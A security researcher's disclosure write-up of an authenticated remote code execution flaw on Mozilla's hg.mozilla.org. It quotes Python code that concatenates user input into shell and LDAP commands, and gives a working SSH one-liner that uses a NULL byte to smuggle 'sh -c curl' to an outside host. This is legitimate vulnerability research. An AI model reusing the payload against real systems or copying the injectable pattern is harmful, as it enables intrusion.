RCE via LDAP truncation on hg.mozilla.org

RCE via LDAP truncation on hg.mozilla.org - joernchen, 0day.click.

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Content

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Given my interest in SCM and CI systems I was a little keen to see how this is done at Mozilla as part of their bug bounty program. Thanks to freddy I was granted Level 1 access to Mozilla's SCM at `hg.mozilla.org` in late 2022. As Mozilla is a pretty transparent company I found the version-control-tools repository which contains the code and configuration behind `hg.mozilla.org`.

I spent a couple of hours to a very few days looking at this code, setting up a simplified test system, and popping shells on the infrastructure around Christmas 2022. In this post I'll outline one of two authenticated RCE flaws I identified and reported to Mozilla on the 26th of December in 2022.

My main focus was on `pash` which is used in place of the shell when handling hg operations via SSH on `hg.mozilla.org`.

LDAP query truncation

pash offered to clone from user's private repositories in the `make_repo_clone` method. The `source_user` is completely user controlled and read from `input` via SSH:

```
    source_user = input(
        'Please enter the e-mail address of the user owning the repo: '
    )
    valid_user = is_valid_user(source_user)
    if valid_user == True:
        source_user = source_user.replace('@', '_')
    elif valid_user == False:
        sys.stderr.write('Unknown user.\n')
        sys.exit(1)
    elif valid_user == 'Invalid Email Address':
        sys.stderr.write('Invalid Email Address.\n')
        sys.exit(1)
    source_user_path = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1 -mindepth 1 -type
    if not source_user_path:
        print('That user does not have any private repositories.')
        print('Check https://' + cname + '/users for a list of valid users.')
        sys.exit(1)
    else:
        user_repo_list = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 3 -mindepth 2 -type d
        user_repo_list = map(lambda x: x.replace(DOC_ROOT + '/users/' + source_user, ''), user_repo_list)
        user_repo_list = map(lambda x: x.replace('/.hg', ''), user_repo_list)
        user_repo_list = map(lambda x: x.strip('/'), user_repo_list)
        user_repo_list = sorted(user_repo_list)
        print('Select the users repo you wish to clone.')
        source_repo = prompt_user('Pick a source repo:', user_repo_list, period=False)
        source_repo = 'users/' + source_user + '/' + source_repo
```

The call to `is_valid_user` calls `get_ldap_attribute` from `ldap_helper.py`

Here we had a potential LDAP injection via the mail parameter:

```
result = ldap_conn.search_s('dc=mozilla', ldap.SCOPE_SUBTREE, '(mail=' + mail + ')', [attr])
```

However the following characters are stripped in the calling function `is_valid_user`

```
mail = mail.strip()
 replacements = {
    '(': '',
    ')': '',
    """: '',
    "'": '',
    ';': '',
 }
 for search, replace in replacements.items():
    mail = mail.replace(search, replace)
```

So a direct LDAP injection seemed not possible.

It took me a moment, but it was possible to inject NULL bytes into the LDAP queries and gain RCE like so:

```
echo "1\n2\njoernchen@*\\\00|sh -c 'curl https://my-host' " |ssh -i ~/.ssh/id_ecdsa_moz -l 'joernchen@phenoelit.de' hg
```

The payload works as follows: `1\n2\n` will select the proper arguments to the `clone testhg` command to end up in the clone private repository path. Then `joernchen@*\\\00` will be the part of the LDAP filter which will find my account, it's enabled for access to `hg.mozilla.com` so the `is_valid_user` will return 1. The last part `|sh -c 'curl https://my-host'` of the payload is the actual injected command it will be dropped in the LDAP search due to the injected NULL character. This works because `sh_helper.py` which is used to execute the find commands looks for `|` to open subprocesses.

The injected and encoded NULL byte `\00` was interpreted and converted to an actual NULL byte by Python's LDAP library before making the query. So the command injection part could be sneaked past the `is_valid_user` checks.

This was filed as issue 1807621 in the Mozilla bugtracker, it might be published eventually.
